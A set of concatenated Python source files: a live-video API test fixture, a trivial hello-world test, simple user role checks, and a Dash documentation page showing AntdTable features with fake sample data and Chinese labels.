"allow_recording": True,
"description": video.description,
"estimated_duration": None,
"has_chat": True,
"has_live_media": True,
"id": str(video.id),
"title": video.title,
"active_stamp": None,
"is_public": False,
"is_ready_to_show": True,
"is_recording": False,
"is_scheduled": False,
"join_mode": "approval",
"show_download": True,
"starting_at": None,
"upload_state": "pending",
"thumbnail": None,
"timed_text_tracks": [],
"urls": {
"manifests": {
"hls": "https://channel_endpoint1/live.m3u8",
},
"mp4": {},
"thumbnails": {},
},
"should_use_subtitle_as_transcript": False,
"has_transcript": False,
"playlist": {
"id": str(video.playlist.id),
"title": str(video.playlist.title),
"lti_id": str(video.playlist.lti_id),
},
"recording_time": 600,
"shared_live_medias": [],
"live_state": "running",
"live_info": {
"jitsi": {
"config_overwrite": {},
"domain": "meet.jit.si",
"external_api_url": "https://meet.jit.si/external_api.js",
"interface_config_overwrite": {},
"room_name": str(video.pk),
},
"medialive": {
"input": {
"endpoints": [
"https://live_endpoint1",
"https://live_endpoint2",
],
}
},
},
"live_type": JITSI,
"participants_asking_to_join": [],
"participants_in_discussion": [],
"xmpp": {
"bosh_url": "https://xmpp-server.com/http-bind?token=xmpp_jwt",
"conference_url": f"{video.id}@conference.xmpp-server.com",
"converse_persistent_store": "localStorage",
"jid": "conference.xmpp-server.com",
"websocket_url": None,
},
},
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Madh93/yadummy
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|
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tests/test_yadummy.py
|
Madh93/yadummy
|
a2ee41bb49e58cc3f8d11a03e6b055414c213e36
|
[
"MIT"
] | null | null | null |
tests/test_yadummy.py
|
Madh93/yadummy
|
a2ee41bb49e58cc3f8d11a03e6b055414c213e36
|
[
"MIT"
] | null | null | null |
from yadummy import yadummy
def test_say_hello():
assert yadummy.say_hello() == 'Hello World!'
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[
"MIT"
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app/security.py
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edynox/iis
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594200506b641cbac249dc6e95d229bea1edeb28
|
[
"MIT"
] | null | null | null |
def manager_check(user):
return user.isManager()
def privileged_check(user):
return user.isManager() or user.isOfficer()
def officer_check(user):
return user.isOfficer()
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py
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Python
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views/AntdTable.py
|
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|
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views/AntdTable.py
|
RuixiangS/feffery-antd-docs
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|
[
"MIT"
] | null | null | null |
views/AntdTable.py
|
RuixiangS/feffery-antd-docs
|
c48d34ed657ec8d6893440c0ee6382598c564922
|
[
"MIT"
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2021-09-14T07:07:00.000Z
|
2021-12-10T01:03:25.000Z
|
from dash import html
import feffery_antd_components as fac
import feffery_utils_components as fuc
from dash.dependencies import Input, Output, State
import time
import json
import dash
import pandas as pd
import numpy as np
from faker import Faker
from server import app
import callbacks.AntdTable
faker = Faker(locale='zh_CN')
np.random.seed(42)
server_side_df = pd.DataFrame({
'组合排序示例1': np.random.randint(0, 100, 1000),
'组合排序示例2': np.random.randint(0, 100, 1000),
'checkbox筛选示例': np.random.permutation(list('abcde' * 200)),
'keyword筛选示例': np.random.permutation(list('uvwxy' * 200))
})
docs_content = html.Div(
[
html.Div(
[
html.H2(
'AntdTable(id, className, style, *args, **kwargs)',
style={
'borderLeft': '4px solid grey',
'padding': '3px 0 3px 10px',
'backgroundColor': '#f5f5f5'
}
),
fac.AntdBackTop(
containerId='docs-content',
duration=0.6
),
html.Span(
'主要参数说明：',
id='主要参数说明',
style={
'borderLeft': '4px solid grey',
'padding': '3px 0 3px 10px',
'backgroundColor': '#f5f5f5',
'fontWeight': 'bold',
'fontSize': '1.2rem'
}
),
fuc.FefferyMarkdown(
markdownStr=open('documents/AntdTable.md', encoding='utf-8').read()
),
html.Div(
html.Span(
'使用示例',
id='使用示例',
style={
'borderLeft': '4px solid grey',
'padding': '3px 0 3px 10px',
'backgroundColor': '#f5f5f5',
'fontWeight': 'bold',
'fontSize': '1.2rem'
}
),
style={
'marginBottom': '10px'
}
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'dataIndex': '国家名示例'
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'dataIndex': '日期示例'
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'dataIndex': '邮编示例'
}
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data=[
{
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'省份名示例': faker.province(),
'城市名示例': faker.city_name(),
'日期示例': faker.date(pattern="%Y-%m-%d", end_datetime=None),
'邮编示例': faker.postcode()
}
for i in range(10)
]
),
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innerTextOrientation='left'
),
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showLineNumbers=True,
showInlineLineNumbers=True,
language='python',
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'dataIndex': '国家名示例'
},
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'dataIndex': '省份名示例'
},
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'dataIndex': '日期示例'
},
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'dataIndex': '邮编示例'
}
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data=[
{
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'省份名示例': faker.province(),
'城市名示例': faker.city_name(),
'日期示例': faker.date(pattern="%Y-%m-%d", end_datetime=None),
'邮编示例': faker.postcode()
}
for i in range(10)
]
)'''
),
title='点击查看代码',
is_open=False,
ghost=True
)
],
style={
'marginBottom': '40px',
'padding': '10px 10px 20px 10px',
'border': '1px solid #f0f0f0'
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'城市名示例': faker.city_name(),
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'dataIndex': '城市名示例',
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'title': '日期示例',
'dataIndex': '日期示例',
'width': '10%'
},
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'title': '邮编示例',
'dataIndex': '邮编示例',
'width': '10%'
}
],
data=[
{
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'国家名示例': faker.country(),
'省份名示例': faker.province(),
'城市名示例': faker.city_name(),
'日期示例': faker.date(pattern="%Y-%m-%d", end_datetime=None),
'邮编示例': faker.postcode()
}
for i in range(10)
],
bordered=True
)'''
),
title='点击查看代码',
is_open=False,
ghost=True
)
],
style={
'marginBottom': '40px',
'padding': '10px 10px 20px 10px',
'border': '1px solid #f0f0f0'
},
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),
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'dataIndex': '国家名示例',
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],
bordered=True
),
fac.AntdDivider(
'绝对像素宽度溢出的情况',
lineColor='#f0f0f0',
innerTextOrientation='left'
),
fac.AntdCollapse(
fuc.FefferySyntaxHighlighter(
showLineNumbers=True,
showInlineLineNumbers=True,
language='python',
codeStyle='coy-without-shadows',
codeString='''
fac.AntdTable(
columns=[
{
'title': '国家名示例',
'dataIndex': '国家名示例',
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{
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'dataIndex': '日期示例',
'width': 400
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'title': '邮编示例',
'dataIndex': '邮编示例',
'width': 400
}
],
data=[
{
'key': i,
'国家名示例': faker.country(),
'省份名示例': faker.province(),
'城市名示例': faker.city_name(),
'日期示例': faker.date(pattern="%Y-%m-%d", end_datetime=None),
'邮编示例': faker.postcode()
}
for i in range(10)
],
bordered=True
)'''
),
title='点击查看代码',
is_open=False,
ghost=True
)
],
style={
'marginBottom': '40px',
'padding': '10px 10px 20px 10px',
'border': '1px solid #f0f0f0'
},
id='绝对像素宽度溢出的情况',
className='div-highlight'
),
html.Div(
[
fac.AntdTable(
columns=[
{
'title': '国家名示例',
'dataIndex': '国家名示例',
'width': 400
},
{
'title': '省份名示例',
'dataIndex': '省份名示例',
'width': 400
},
{
'title': '城市名示例',
'dataIndex': '城市名示例',
'width': 400
},
{
'title': '日期示例',
'dataIndex': '日期示例',
'width': 400
},
{
'title': '邮编示例',
'dataIndex': '邮编示例',
'width': 400
}
],
data=[
{
'key': i,
'国家名示例': faker.country(),
'省份名示例': faker.province(),
'城市名示例': faker.city_name(),
'日期示例': faker.date(pattern="%Y-%m-%d", end_datetime=None),
'邮编示例': faker.postcode()
}
for i in range(10)
],
bordered=True,
maxHeight=200
),
fac.AntdDivider(
'限定maxHeight以固定表头',
lineColor='#f0f0f0',
innerTextOrientation='left'
),
fac.AntdCollapse(
fuc.FefferySyntaxHighlighter(
showLineNumbers=True,
showInlineLineNumbers=True,
language='python',
codeStyle='coy-without-shadows',
codeString='''
fac.AntdTable(
columns=[
{
'title': '国家名示例',
'dataIndex': '国家名示例',
'width': 400
},
{
'title': '省份名示例',
'dataIndex': '省份名示例',
'width': 400
},
{
'title': '城市名示例',
'dataIndex': '城市名示例',
'width': 400
},
{
'title': '日期示例',
'dataIndex': '日期示例',
'width': 400
},
{
'title': '邮编示例',
'dataIndex': '邮编示例',
'width': 400
}
],
data=[
{
'key': i,
'国家名示例': faker.country(),
'省份名示例': faker.province(),
'城市名示例': faker.city_name(),
'日期示例': faker.date(pattern="%Y-%m-%d", end_datetime=None),
'邮编示例': faker.postcode()
}
for i in range(10)
],
bordered=True,
maxHeight=200
)'''
),
title='点击查看代码',
is_open=False,
ghost=True
)
],
style={
'marginBottom': '40px',
'padding': '10px 10px 20px 10px',
'border': '1px solid #f0f0f0'
},
id='限定maxHeight以固定表头',
className='div-highlight'
),
html.Div(
[
fac.AntdTable(
columns=[
{
'title': '国家名示例',
'dataIndex': '国家名示例',
'width': 400,
'fixed': 'left'
},
{
'title': '省份名示例',
'dataIndex': '省份名示例',
'width': 400
},
{
'title': '城市名示例',
'dataIndex': '城市名示例',
'width': 400
},
{
'title': '日期示例',
'dataIndex': '日期示例',
'width': 400
},
{
'title': '邮编示例',
'dataIndex': '邮编示例',
'width': 400,
'fixed': 'right'
}
],
data=[
{
'key': i,
'国家名示例': faker.country(),
'省份名示例': faker.province(),
'城市名示例': faker.city_name(),
'日期示例': faker.date(pattern="%Y-%m-%d", end_datetime=None),
'邮编示例': faker.postcode()
}
for i in range(10)
],
bordered=True,
maxHeight=200
),
fac.AntdDivider(
'宽度溢出时固定左侧或右侧指定列',
lineColor='#f0f0f0',
innerTextOrientation='left'
),
fac.AntdCollapse(
fuc.FefferySyntaxHighlighter(
showLineNumbers=True,
showInlineLineNumbers=True,
language='python',
codeStyle='coy-without-shadows',
codeString='''
fac.AntdTable(
columns=[
{
'title': '国家名示例',
'dataIndex': '国家名示例',
'width': 400,
'fixed': 'left'
},
{
'title': '省份名示例',
'dataIndex': '省份名示例',
'width': 400
},
{
'title': '城市名示例',
'dataIndex': '城市名示例',
'width': 400
},
{
'title': '日期示例',
'dataIndex': '日期示例',
'width': 400
},
{
'title': '邮编示例',
'dataIndex': '邮编示例',
'width': 400,
'fixed': 'right'
}
],
data=[
{
'key': i,
'国家名示例': faker.country(),
'省份名示例': faker.province(),
'城市名示例': faker.city_name(),
'日期示例': faker.date(pattern="%Y-%m-%d", end_datetime=None),
'邮编示例': faker.postcode()
}
for i in range(10)
],
bordered=True,
maxHeight=200
)'''
),
title='点击查看代码',
is_open=False,
ghost=True
)
],
style={
'marginBottom': '40px',
'padding': '10px 10px 20px 10px',
'border': '1px solid #f0f0f0'
},
id='宽度溢出时固定左侧或右侧指定列',
className='div-highlight'
),
html.Div(
[
fac.AntdTable(
columns=[
{
'title': '国家名示例',
'dataIndex': '国家名示例'
},
{
'title': '省份名示例',
'dataIndex': '省份名示例',
'editable': True
},
{
'title': '城市名示例',
'dataIndex': '城市名示例'
},
{
'title': '日期示例',
'dataIndex': '日期示例'
},
{
'title': '邮编示例',
'dataIndex': '邮编示例',
'editable': True
}
],
data=[
{
'key': i,
'国家名示例': faker.country(),
'省份名示例': faker.province(),
'城市名示例': faker.city_name(),
'日期示例': faker.date(pattern="%Y-%m-%d", end_datetime=None),
'邮编示例': faker.postcode()
}
for i in range(10)
]
),
fac.AntdDivider(
'指定部分列可编辑',
lineColor='#f0f0f0',
innerTextOrientation='left'
),
fac.AntdCollapse(
fuc.FefferySyntaxHighlighter(
showLineNumbers=True,
showInlineLineNumbers=True,
language='python',
codeStyle='coy-without-shadows',
codeString='''
fac.AntdTable(
columns=[
{
'title': '国家名示例',
'dataIndex': '国家名示例'
},
{
'title': '省份名示例',
'dataIndex': '省份名示例',
'editable': True
},
{
'title': '城市名示例',
'dataIndex': '城市名示例'
},
{
'title': '日期示例',
'dataIndex': '日期示例'
},
{
'title': '邮编示例',
'dataIndex': '邮编示例',
'editable': True
}
],
data=[
{
'key': i,
'国家名示例': faker.country(),
'省份名示例': faker.province(),
'城市名示例': faker.city_name(),
'日期示例': faker.date(pattern="%Y-%m-%d", end_datetime=None),
'邮编示例': faker.postcode()
}
for i in range(10)
]
)'''
),
title='点击查看代码',
is_open=False,
ghost=True
)
],
style={
'marginBottom': '40px',
'padding': '10px 10px 20px 10px',
'border': '1px solid #f0f0f0'
},
id='指定部分列可编辑',
className='div-highlight'
),
html.Div(
[
fac.AntdTable(
columns=[
{
'title': 'ellipsis内容省略示例',
'dataIndex': 'ellipsis内容省略示例',
'renderOptions': {'renderType': 'ellipsis'}
}
],
data=[
{
'key': i,
'ellipsis内容省略示例': '这是一段废话，用来演示超长内容再渲染巴拉巴拉巴拉巴拉巴拉巴拉巴拉巴拉'
}
for i in range(5)
],
bordered=True,
style={
'width': '250px'
}
),
fac.AntdDivider(
'超长内容省略模式',
lineColor='#f0f0f0',
innerTextOrientation='left'
),
fac.AntdParagraph(
[
fac.AntdText(' 设置'),
fac.AntdText("'renderOptions': {'renderType': 'ellipsis'}", code=True),
fac.AntdText('后，会开启'),
fac.AntdText('超长内容省略模式', strong=True),
fac.AntdText('，超出单元格默认宽度的文本内容会被省略截断，当鼠标悬浮在单元格上会出现记录完整内容的提示框')
]
),
fac.AntdCollapse(
fuc.FefferySyntaxHighlighter(
showLineNumbers=True,
showInlineLineNumbers=True,
language='python',
codeStyle='coy-without-shadows',
codeString='''
fac.AntdTable(
columns=[
{
'title': 'ellipsis内容省略示例',
'dataIndex': 'ellipsis内容省略示例',
'renderOptions': {'renderType': 'ellipsis'}
}
],
data=[
{
'key': i,
'ellipsis内容省略示例': '这是一段废话，用来演示超长内容再渲染巴拉巴拉巴拉巴拉巴拉巴拉巴拉巴拉'
}
for i in range(5)
],
bordered=True,
style={
'width': '250px'
}
)
'''
),
title='点击查看代码',
is_open=False,
ghost=True
)
],
style={
'marginBottom': '40px',
'padding': '10px 10px 20px 10px',
'border': '1px solid #f0f0f0'
},
id='超长内容省略模式',
className='div-highlight'
),
html.Div(
[
fac.AntdTable(
columns=[
{
'title': '超链接示例',
'dataIndex': '超链接示例',
'renderOptions': {
'renderType': 'link',
'renderLinkText': '点击跳转'
}
}
],
data=[
{
'key': i,
'超链接示例': {
'href': 'https://github.com/CNFeffery/feffery-antd-components'
}
}
for i in range(5)
],
bordered=True,
style={
'width': '250px'
}
),
fac.AntdDivider(
'超链接模式',
lineColor='#f0f0f0',
innerTextOrientation='left'
),
fac.AntdCollapse(
fuc.FefferySyntaxHighlighter(
showLineNumbers=True,
showInlineLineNumbers=True,
language='python',
codeStyle='coy-without-shadows',
codeString='''
fac.AntdTable(
columns=[
{
'title': '超链接示例',
'dataIndex': '超链接示例',
'renderOptions': {
'renderType': 'link',
'renderLinkText': '点击跳转'
}
}
],
data=[
{
'key': i,
'超链接示例': {
'href': 'https://github.com/CNFeffery/feffery-antd-components'
}
}
for i in range(5)
],
bordered=True,
style={
'width': '250px'
}
)
'''
),
title='点击查看代码',
is_open=False,
ghost=True
)
],
style={
'marginBottom': '40px',
'padding': '10px 10px 20px 10px',
'border': '1px solid #f0f0f0'
},
id='超链接模式',
className='div-highlight'
),
html.Div(
[
fac.AntdTable(
columns=[
{
'title': 'mini-line示例',
'dataIndex': 'mini-line示例',
'renderOptions': {
'renderType': 'mini-line'
}
},
{
'title': 'mini-bar示例',
'dataIndex': 'mini-bar示例',
'renderOptions': {
'renderType': 'mini-bar'
}
},
{
# 注意，mini-progress模式接受的输入应当在0到1之间
'title': 'mini-progress示例',
'dataIndex': 'mini-progress示例',
'renderOptions': {
'renderType': 'mini-progress'
}
},
{
'title': 'mini-area示例',
'dataIndex': 'mini-area示例',
'renderOptions': {
'renderType': 'mini-area'
}
}
],
data=[
{
'key': i,
'mini-line示例': np.random.randint(1, 20, 10),
'mini-bar示例': np.random.randint(1, 20, 10),
'mini-progress示例': np.random.rand(),
'mini-area示例': np.random.randint(1, 20, 10)
}
for i in range(5)
],
bordered=True
),
fac.AntdDivider(
'迷你图模式',
lineColor='#f0f0f0',
innerTextOrientation='left'
),
fac.AntdCollapse(
fuc.FefferySyntaxHighlighter(
showLineNumbers=True,
showInlineLineNumbers=True,
language='python',
codeStyle='coy-without-shadows',
codeString='''
fac.AntdTable(
columns=[
{
'title': 'mini-line示例',
'dataIndex': 'mini-line示例',
'renderOptions': {
'renderType': 'mini-line'
}
},
{
'title': 'mini-bar示例',
'dataIndex': 'mini-bar示例',
'renderOptions': {
'renderType': 'mini-bar'
}
},
{
# 注意，mini-progress模式接受的输入应当在0到1之间
'title': 'mini-progress示例',
'dataIndex': 'mini-progress示例',
'renderOptions': {
'renderType': 'mini-progress'
}
},
{
'title': 'mini-area示例',
'dataIndex': 'mini-area示例',
'renderOptions': {
'renderType': 'mini-area'
}
}
],
data=[
{
'key': i,
'mini-line示例': np.random.randint(1, 20, 10),
'mini-bar示例': np.random.randint(1, 20, 10),
'mini-progress示例': np.random.rand(),
'mini-area示例': np.random.randint(1, 20, 10)
}
for i in range(5)
],
bordered=True
)
'''
),
title='点击查看代码',
is_open=False,
ghost=True
)
],
style={
'marginBottom': '40px',
'padding': '10px 10px 20px 10px',
'border': '1px solid #f0f0f0'
},
id='迷你图模式',
className='div-highlight'
),
html.Div(
[
fac.AntdTable(
columns=[
{
'title': '标签模式示例',
'dataIndex': '标签模式示例',
'renderOptions': {
'renderType': 'tags'
}
}
],
data=[
{
'key': i,
'标签模式示例': [
{
'tag': f'标签{i}示例1'
},
{
'tag': f'标签{i}示例2', 'color': f'rgba(77, 182, 172, {0.5 + i * 0.1})'
}
],
}
for i in range(5)
],
bordered=True,
style={
'width': '300px'
}
),
fac.AntdDivider(
'标签模式',
lineColor='#f0f0f0',
innerTextOrientation='left'
),
fac.AntdCollapse(
fuc.FefferySyntaxHighlighter(
showLineNumbers=True,
showInlineLineNumbers=True,
language='python',
codeStyle='coy-without-shadows',
codeString='''
fac.AntdTable(
columns=[
{
'title': '标签模式示例',
'dataIndex': '标签模式示例',
'renderOptions': {
'renderType': 'tags'
}
}
],
data=[
{
'key': i,
'标签模式示例': [
{
'tag': f'标签{i}示例1'
},
{
'tag': f'标签{i}示例2', 'color': f'rgba(77, 182, 172, {0.5 + i * 0.1})'
}
],
}
for i in range(5)
],
bordered=True,
style={
'width': '300px'
}
)
'''
),
title='点击查看代码',
is_open=False,
ghost=True
)
],
style={
'marginBottom': '40px',
'padding': '10px 10px 20px 10px',
'border': '1px solid #f0f0f0'
},
id='标签模式',
className='div-highlight'
),
html.Div(
[
fac.AntdTable(
columns=[
{
'title': '单按钮示例',
'dataIndex': '单按钮示例',
'renderOptions': {'renderType': 'button'},
'width': '25%'
},
{
'title': '多按钮示例',
'dataIndex': '多按钮示例',
'renderOptions': {'renderType': 'button'},
'width': '50%'
},
{
'title': '气泡确认按钮示例',
'dataIndex': '气泡确认按钮示例',
'renderOptions': {
'renderType': 'button',
'renderButtonPopConfirmProps': {
'title': '确认操作',
'okText': '继续',
'cancelText': '再想想'
}
},
'width': '25%'
}
],
data=[
{
'key': i,
'单按钮示例': {
'content': '按钮示例',
'type': 'primary'
},
'多按钮示例': [
{
'content': '按钮示例1',
'type': 'primary'
},
{
'content': '按钮示例2',
'danger': True
}
],
'气泡确认按钮示例': {
'content': '气泡确认按钮示例',
'type': 'primary'
}
}
for i in range(5)
],
bordered=True,
popupContainerId='docs-content'
),
fac.AntdDivider(
'按钮模式',
lineColor='#f0f0f0',
innerTextOrientation='left'
),
fac.AntdCollapse(
fuc.FefferySyntaxHighlighter(
showLineNumbers=True,
showInlineLineNumbers=True,
language='python',
codeStyle='coy-without-shadows',
codeString='''
fac.AntdTable(
columns=[
{
'title': '单按钮示例',
'dataIndex': '单按钮示例',
'renderOptions': {'renderType': 'button'},
'width': '25%'
},
{
'title': '多按钮示例',
'dataIndex': '多按钮示例',
'renderOptions': {'renderType': 'button'},
'width': '50%'
},
{
'title': '气泡确认按钮示例',
'dataIndex': '气泡确认按钮示例',
'renderOptions': {
'renderType': 'button',
'renderButtonPopConfirmProps': {
'title': '确认操作',
'okText': '继续',
'cancelText': '再想想'
}
},
'width': '25%'
}
],
data=[
{
'key': i,
'单按钮示例': {
'content': '按钮示例',
'type': 'primary'
},
'多按钮示例': [
{
'content': '按钮示例1',
'type': 'primary'
},
{
'content': '按钮示例2',
'danger': True
}
],
'气泡确认按钮示例': {
'content': '气泡确认按钮示例',
'type': 'primary'
}
}
for i in range(5)
],
bordered=True,
popupContainerId='docs-content'
)
'''
),
title='点击查看代码',
is_open=False,
ghost=True
)
],
style={
'marginBottom': '40px',
'padding': '10px 10px 20px 10px',
'border': '1px solid #f0f0f0'
},
id='按钮模式',
className='div-highlight'
),
html.Div(
[
fac.AntdTable(
columns=[
{
'title': '国家名示例',
'dataIndex': '国家名示例'
},
{
'title': '省份名示例',
'dataIndex': '省份名示例'
},
{
'title': '城市名示例',
'dataIndex': '城市名示例'
},
{
'title': '日期示例',
'dataIndex': '日期示例'
},
{
'title': '邮编示例',
'dataIndex': '邮编示例'
}
],
data=[
{
'key': i,
'国家名示例': faker.country(),
'省份名示例': faker.province(),
'城市名示例': faker.city_name(),
'日期示例': faker.date(pattern="%Y-%m-%d", end_datetime=None),
'邮编示例': faker.postcode()
}
for i in range(100)
],
pagination={
'pageSize': 10,
'current': 5,
'pageSizeOptions': [5, 10, 15, 20, 25],
'showTotalPrefix': '本次共取得伪造数据 ',
'showTotalSuffix': ' 条！😋'
}
),
fac.AntdDivider(
'分页相关设置',
lineColor='#f0f0f0',
innerTextOrientation='left'
),
fac.AntdCollapse(
fuc.FefferySyntaxHighlighter(
showLineNumbers=True,
showInlineLineNumbers=True,
language='python',
codeStyle='coy-without-shadows',
codeString='''
fac.AntdTable(
columns=[
{
'title': '国家名示例',
'dataIndex': '国家名示例'
},
{
'title': '省份名示例',
'dataIndex': '省份名示例'
},
{
'title': '城市名示例',
'dataIndex': '城市名示例'
},
{
'title': '日期示例',
'dataIndex': '日期示例'
},
{
'title': '邮编示例',
'dataIndex': '邮编示例'
}
],
data=[
{
'key': i,
'国家名示例': faker.country(),
'省份名示例': faker.province(),
'城市名示例': faker.city_name(),
'日期示例': faker.date(pattern="%Y-%m-%d", end_datetime=None),
'邮编示例': faker.postcode()
}
for i in range(100)
],
pagination={
'pageSize': 10,
'current': 5,
'pageSizeOptions': [5, 10, 15, 20, 25],
'showTotalPrefix': '本次共取得伪造数据 ',
'showTotalSuffix': ' 条！😋'
}
)'''
),
title='点击查看代码',
is_open=False,
ghost=True
)
],
style={
'marginBottom': '40px',
'padding': '10px 10px 20px 10px',
'border': '1px solid #f0f0f0'
},
id='分页相关设置',
className='div-highlight'
),
html.Div(
[
fac.AntdTable(
columns=[
{
'title': f'字段{i}',
'dataIndex': f'字段{i}'
}
for i in range(1, 6)
],
data=[
{
f'字段{i}': np.random.randint(1, 5)
for i in range(1, 6)
}
for _ in range(10)
],
sortOptions={
'sortDataIndexes': ['字段1', '字段2', '字段4', '字段5']
}
),
fac.AntdDivider(
'常规单列排序',
lineColor='#f0f0f0',
innerTextOrientation='left'
),
fac.AntdCollapse(
fuc.FefferySyntaxHighlighter(
showLineNumbers=True,
showInlineLineNumbers=True,
language='python',
codeStyle='coy-without-shadows',
codeString='''
fac.AntdTable(
columns=[
{
'title': f'字段{i}',
'dataIndex': f'字段{i}'
}
for i in range(1, 6)
],
data=[
{
f'字段{i}': np.random.randint(1, 5)
for i in range(1, 6)
}
for _ in range(10)
],
sortOptions={
'sortDataIndexes': ['字段1', '字段2', '字段4', '字段5']
}
)'''
),
title='点击查看代码',
is_open=False,
ghost=True
)
],
style={
'marginBottom': '40px',
'padding': '10px 10px 20px 10px',
'border': '1px solid #f0f0f0'
},
id='常规单列排序',
className='div-highlight'
),
html.Div(
[
fac.AntdTable(
columns=[
{
'title': f'字段{i}',
'dataIndex': f'字段{i}'
}
for i in range(1, 6)
],
data=[
{
f'字段{i}': np.random.randint(1, 5)
for i in range(1, 6)
}
for _ in range(10)
],
sortOptions={
'sortDataIndexes': ['字段1', '字段2', '字段4', '字段5'],
'multiple': True
}
),
fac.AntdDivider(
'多列组合排序',
lineColor='#f0f0f0',
innerTextOrientation='left'
),
fac.AntdCollapse(
fuc.FefferySyntaxHighlighter(
showLineNumbers=True,
showInlineLineNumbers=True,
language='python',
codeStyle='coy-without-shadows',
codeString='''
fac.AntdTable(
columns=[
{
'title': f'字段{i}',
'dataIndex': f'字段{i}'
}
for i in range(1, 6)
],
data=[
{
f'字段{i}': np.random.randint(1, 5)
for i in range(1, 6)
}
for _ in range(10)
],
sortOptions={
'sortDataIndexes': ['字段1', '字段2', '字段4', '字段5'],
'multiple': True
}
)'''
),
title='点击查看代码',
is_open=False,
ghost=True
)
],
style={
'marginBottom': '40px',
'padding': '10px 10px 20px 10px',
'border': '1px solid #f0f0f0'
},
id='多列组合排序',
className='div-highlight'
),
html.Div(
[
fac.AntdTable(
columns=[
{
'title': '默认的checkbox模式',
'dataIndex': f'默认的checkbox模式'
},
{
'title': '自定义选项的checkbox模式',
'dataIndex': '自定义选项的checkbox模式'
},
{
'title': 'keyword模式',
'dataIndex': 'keyword模式'
}
],
data=[
{
'默认的checkbox模式': i,
'自定义选项的checkbox模式': i,
'keyword模式': i
}
for i in range(5)
],
filterOptions={
'默认的checkbox模式': {},
'自定义选项的checkbox模式': {
'filterMode': 'checkbox',
'filterCustomItems': [1, 2, 3]
},
'keyword模式': {
'filterMode': 'keyword'
}
},
popupContainerId='docs-content'
),
fac.AntdDivider(
'使用字段筛选功能',
lineColor='#f0f0f0',
innerTextOrientation='left'
),
fac.AntdCollapse(
fuc.FefferySyntaxHighlighter(
showLineNumbers=True,
showInlineLineNumbers=True,
language='python',
codeStyle='coy-without-shadows',
codeString='''
fac.AntdTable(
columns=[
{
'title': '默认的checkbox模式',
'dataIndex': f'默认的checkbox模式'
},
{
'title': '自定义选项的checkbox模式',
'dataIndex': '自定义选项的checkbox模式'
},
{
'title': 'keyword模式',
'dataIndex': 'keyword模式'
}
],
data=[
{
'默认的checkbox模式': i,
'自定义选项的checkbox模式': i,
'keyword模式': i
}
for i in range(5)
],
filterOptions={
'默认的checkbox模式': {},
'自定义选项的checkbox模式': {
'filterMode': 'checkbox',
'filterCustomItems': [1, 2, 3]
},
'keyword模式': {
'filterMode': 'keyword'
}
},
popupContainerId='docs-content'
)'''
),
title='点击查看代码',
is_open=False,
ghost=True
)
],
style={
'marginBottom': '40px',
'padding': '10px 10px 20px 10px',
'border': '1px solid #f0f0f0'
},
id='使用字段筛选功能',
className='div-highlight'
),
html.Div(
[
fac.AntdTable(
columns=[
{
'title': '字段示例1',
'dataIndex': '字段示例1'
},
{
'title': '字段示例2',
'dataIndex': '字段示例2'
},
{
'title': '字段示例3',
'dataIndex': '字段示例3'
}
],
data=[
{
'字段示例1': i,
'字段示例2': i,
'字段示例3': i
}
for i in range(5)
],
titlePopoverInfo={
'字段示例1': {
'title': '字段说明',
'content': '这是字段示例1的字段说明'
},
'字段示例3': {
'title': '字段说明',
'content': '这是字段示例3的字段说明'
}
}
),
fac.AntdDivider(
'为表头添加字段说明信息',
lineColor='#f0f0f0',
innerTextOrientation='left'
),
fac.AntdCollapse(
fuc.FefferySyntaxHighlighter(
showLineNumbers=True,
showInlineLineNumbers=True,
language='python',
codeStyle='coy-without-shadows',
codeString='''
fac.AntdTable(
columns=[
{
'title': '字段示例1',
'dataIndex': '字段示例1'
},
{
'title': '字段示例2',
'dataIndex': '字段示例2'
},
{
'title': '字段示例3',
'dataIndex': '字段示例3'
}
],
data=[
{
'字段示例1': i,
'字段示例2': i,
'字段示例3': i
}
for i in range(5)
],
titlePopoverInfo={
'字段示例1': {
'title': '字段说明',
'content': '这是字段示例1的字段说明'
},
'字段示例3': {
'title': '字段说明',
'content': '这是字段示例3的字段说明'
}
}
)
'''
),
title='点击查看代码',
is_open=False,
ghost=True
)
],
style={
'marginBottom': '40px',
'padding': '10px 10px 20px 10px',
'border': '1px solid #f0f0f0'
},
id='为表头添加字段说明信息',
className='div-highlight'
),
html.Div(
[
fac.AntdDivider("rowSelectionType='checkbox'", innerTextOrientation='left'),
fac.AntdTable(
columns=[
{
'title': '字段示例1',
'dataIndex': '字段示例1'
},
{
'title': '字段示例2',
'dataIndex': '字段示例2'
},
{
'title': '字段示例3',
'dataIndex': '字段示例3'
}
],
data=[
{
'字段示例1': i,
'字段示例2': i,
'字段示例3': i
}
for i in range(5)
],
rowSelectionType='checkbox'
),
fac.AntdDivider("rowSelectionType='radio'", innerTextOrientation='left'),
fac.AntdTable(
columns=[
{
'title': '字段示例1',
'dataIndex': '字段示例1'
},
{
'title': '字段示例2',
'dataIndex': '字段示例2'
},
{
'title': '字段示例3',
'dataIndex': '字段示例3'
}
],
data=[
{
'字段示例1': i,
'字段示例2': i,
'字段示例3': i
}
for i in range(5)
],
rowSelectionType='radio'
),
fac.AntdDivider(
'添加行选择功能',
lineColor='#f0f0f0',
innerTextOrientation='left'
),
fac.AntdCollapse(
fuc.FefferySyntaxHighlighter(
showLineNumbers=True,
showInlineLineNumbers=True,
language='python',
codeStyle='coy-without-shadows',
codeString='''
fac.AntdDivider("rowSelectionType='checkbox'", innerTextOrientation='left'),
fac.AntdTable(
columns=[
{
'title': '字段示例1',
'dataIndex': '字段示例1'
},
{
'title': '字段示例2',
'dataIndex': '字段示例2'
},
{
'title': '字段示例3',
'dataIndex': '字段示例3'
}
],
data=[
{
'字段示例1': i,
'字段示例2': i,
'字段示例3': i
}
for i in range(5)
],
rowSelectionType='checkbox'
),
fac.AntdDivider("rowSelectionType='radio'", innerTextOrientation='left'),
fac.AntdTable(
columns=[
{
'title': '字段示例1',
'dataIndex': '字段示例1'
},
{
'title': '字段示例2',
'dataIndex': '字段示例2'
},
{
'title': '字段示例3',
'dataIndex': '字段示例3'
}
],
data=[
{
'字段示例1': i,
'字段示例2': i,
'字段示例3': i
}
for i in range(5)
],
rowSelectionType='radio'
)
'''
),
title='点击查看代码',
is_open=False,
ghost=True
)
],
style={
'marginBottom': '40px',
'padding': '10px 10px 20px 10px',
'border': '1px solid #f0f0f0'
},
id='添加行选择功能',
className='div-highlight'
),
html.Div(
[
fac.AntdTitle('左例（未设置） 右例（设置popupContainerId参数）', level=5),
html.Div(
[
html.Div(
[
fac.AntdTable(
columns=[
{
'title': f'字段{i}',
'dataIndex': f'字段{i}'
}
for i in range(1, 6)
],
data=[
{
f'字段{i}': np.random.randint(1, 5)
for i in range(1, 6)
}
